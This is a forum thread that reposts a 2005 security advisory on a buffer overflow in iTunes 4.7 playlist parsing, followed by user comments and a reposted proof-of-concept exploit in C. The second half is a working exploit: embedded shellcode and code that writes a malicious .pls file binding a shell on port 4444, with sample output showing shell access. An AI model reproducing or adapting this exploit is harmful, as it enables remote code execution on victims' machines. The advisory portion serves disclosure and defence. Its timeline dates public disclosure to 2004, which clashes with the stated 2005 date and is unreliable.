Vulnerability in iTunes

[iago]

Apple iTunes Playlist Parsing Buffer Overflow Vulnerability

iDEFENSE Security Advisory 01.13.05:
http://www.idefense.com/application/poi/display?type=vulnerabilities
January 13, 2005

I. BACKGROUND

Apple iTunes is a digital jukebox capable of playing a variety of sound
file formats, sharing music and burning music CD's. More information
about iTunes is available from:

    http://www.apple.com/itunes/

II. DESCRIPTION

Remote exploitation of a buffer overflow vulnerability in Apple Computer
Inc.'s iTunes music player allows attackers to execute arbitrary code.

The problem specifically exists when parsing playlist files that contain
long URL file entries. Malicious playlist files can come with either the
.m3u or .pls extension. Though their formats are different, the
vulnerability in each is the same.

An example malicious .pls file with a long URL:

    [playlist]
    NumberOfEntries=1
    File1=http://[A x 3045]1234

An example malicious .m3u file with a long URL:

    http://[A x 3045]1234

In both cases '[A x 3045]' represents any string of 3,045 bytes in
length. Opening either malicious playlist file on the Microsoft Windows
platform will cause iTunes to crash with an access violation when
attempting to execute instruction 0x34333231, which is the little-endian
ASCII code representation of '1234'. An attacker can exploit this
vulnerability to redirect the flow of control and eventually execute
arbitrary code. While this example is specific to the Microsoft Windows
platform, exploitation on the Apple Mac OS platform is also possible.

III. ANALYSIS

Exploitation of the described vulnerability allows remote attackers to
execute arbitrary code under the context of the user who started iTunes.
Exploitation requires that an attacker convince a target user to open a
malicious playlist file with a vulnerable version of iTunes.

IV. DETECTION

iTunes 4.7 as installed on the Microsoft Windows and Apple Mac OS
platforms are affected. Earlier versions may also be susceptible.

V. WORKAROUND

Do not open playlist files from untrusted sources. Inspect the contents
of .m3u and .pls playlist files for long URL file names prior to opening
them with iTunes.

VI. VENDOR RESPONSE

This vulnerability is addressed in iTunes 4.7.1.

iTunes 4.7.1 may be obtained from the Software Update pane in System
Preferences, or Apple's iTunes download site:

   http://www.apple.com/itunes/download/

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0043 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

12/17/2004  Initial vendor notification
12/17/2004  Initial vendor response
01/13/2004  Public disclosure

IX. CREDIT

Sean de Regge (seanderegge[at]hotmail.com) is credited with this
discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Newby]

Is this all coming from the Canadian government, or some security site?

[iago]

Look at the footer -- Full Disclosure is a mailing list.  But different stuff might be from different lists, I subscribe to quite a few.  But I figure I could help people out by pulling out useful stuff.

[Quik]

iTunes has always sucked, now I have a reason to hate their buggy code

[rabbit]

Hmm, people who pay for music are finally getting what they deserve

[iago]

Proof of concept exploit released!

Hey Everyone,

I've written a proof of concept for the iTunes 4.7 advisory released by iDefense
on January 13, 2005.

Here is some code to exploit the vulnerability, it will generate a *.pls file which,when opened with iTunes 4.7 will bind a shell on port 4444.

- nemo

<------------------ fm-eyetewnz.c -------------------------->

/*
 * PoC for iTunes on OS X 10.3.7
 * -( nemo@felinemenace.org )-
 *
 * Generates a .pls file, when loaded in iTunes it
 * binds a shell to port 4444.
 * Shellcode contains no \x00 or \x0a's.
 *
 * sample output:
 *
 * -[nemo@gir:~]$ ./fm-eyetewnz foo.pls
 * -( fm-eyetewnz )-
 * -( nemo@felinemenace.org )-
 * Creating file: foo.pls.
 * Bindshell on port: 4444
 * -[nemo@gir:~]$  open foo.pls
 * -[nemo@gir:~]$  nc localhost 4444
 * id
 * uid=501(nemo) gid=501(nemo) groups=501(nemo)
 *
 * Thanks to andrewg, mercy and core.
 * Greetings to pulltheplug and felinemenace.
 *
 * -( need a challenge? )-
 * -( http://pulltheplug.org )-
 */

#include <stdio.h>
#include <strings.h>

#define BUFSIZE 1598 + 4

char shellcode[] = /* large ugly shellcode generated by http://metasploit.com */
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa"
"\x38\xa5\xf8\x4a\x3c\xc0\xee\x83\x60\xc6\xb7\xfb\x38\x85\x07\xee"
"\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a"
"\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba"
"\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\xd6\xe3\xb7\xf9"
"\xd6\x03\xb7\xfa\xd6\x23\xb7\xfd\xd6\x83\xb7\x9a\xaa\x83\xb7\xf9"
"\x92\x83\xb5\x83\x92\xfd\xac\x83\xa6\x83\xb7\xf6\xee\x81\xa6\xa7"
"\xee\x83\xb7\xfb\x92\x0b\xb5\x5d\xd6\x23\xb7\xeb\xd6\x83\xb7\x93"
"\x91\x40\x44\x83\xaa\x83\xb7\xf9\x92\x83\xb5\x83\xd6\x83\xb7\x91"
"\x91\x40\x44\x83\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x91\x40\x44\x83"
"\xd6\x83\xb7\xe5\xd6\x03\xb7\xeb\x7e\x02\x48\x13\xd6\x22\x48\x13"
"\xd6\x02\x48\x0b\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x92\xfd\xac\x83"
"\xd6\x23\xb7\xf9\xd6\x83\xb7\xa1\x91\x40\x44\x83\x92\x27\x9c\x83"
"\xaa\x83\xb7\xf9\x92\x83\xb5\x83\xd6\x26\x48\x04\xc2\x86\x48\x04"
"\xae\x01\x48\x1e\xd6\x83\xb7\xb9\xaa\x83\xb7\xf9\x92\x83\xb5\x83"
"\x92\x26\x9d\x82\xae\x01\x48\x06\x92\xeb\xb5\x5d\xd6\xe0\xb7\xd3"
"\x7e\xe2\x48\x03\x7e\x22\x48\x07\xd6\x02\x48\x03\xd6\x83\xb7\xc0"
"\x92\x83\xb3\x57\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x91\x63\xb7\xf3"
"\xc1\xe1\xde\x95\xc1\xe0\xc4\x93\xee\x83\xb7\xfb";

int main(int ac, char **av)
{
   int n,*p;
   unsigned char * q;
   char buf[BUFSIZE];
   FILE *pls;
   int offset=0x3DA8;
   char playlist[] = {
      "[playlist]\n"                                                   
      "NumberOfEntries=1\n"                                             
      "File1=http://"
   };
   printf("-( fm-eyetewnz )-\n");
   printf("-( nemo@felinemenace.org )-\n");
   memset(buf,'\x60',BUFSIZE);
   bcopy(shellcode, buf + (BUFSIZE - 44 - sizeof(shellcode)),sizeof(shellcode) - 1); // avoid mangled stack.
   q = buf + sizeof(buf) - 5;
   p = (int *)q;
   if(!(av[1])) {
      printf("usage: %s <filename (.pls)> [offset]\n",*av);
      exit(1);
   }
   if(av[2])
      offset = atoi(av[2]);
   *p = (0xc0000000 - offset);//    0xbfffc258;
   if(!(pls = fopen(*(av+1),"w+"))) {
      printf("error opening file: %s.\n", *(av +1));
      exit(1);
   }
   printf("Creating file: %s.\n",*(av+1));
   printf("Bindshell on port: 4444\n");
   fwrite(playlist,sizeof(playlist) - 1,1,pls);   
   fwrite(buf,sizeof(buf) - 1,1,pls);   
   fclose(pls);
}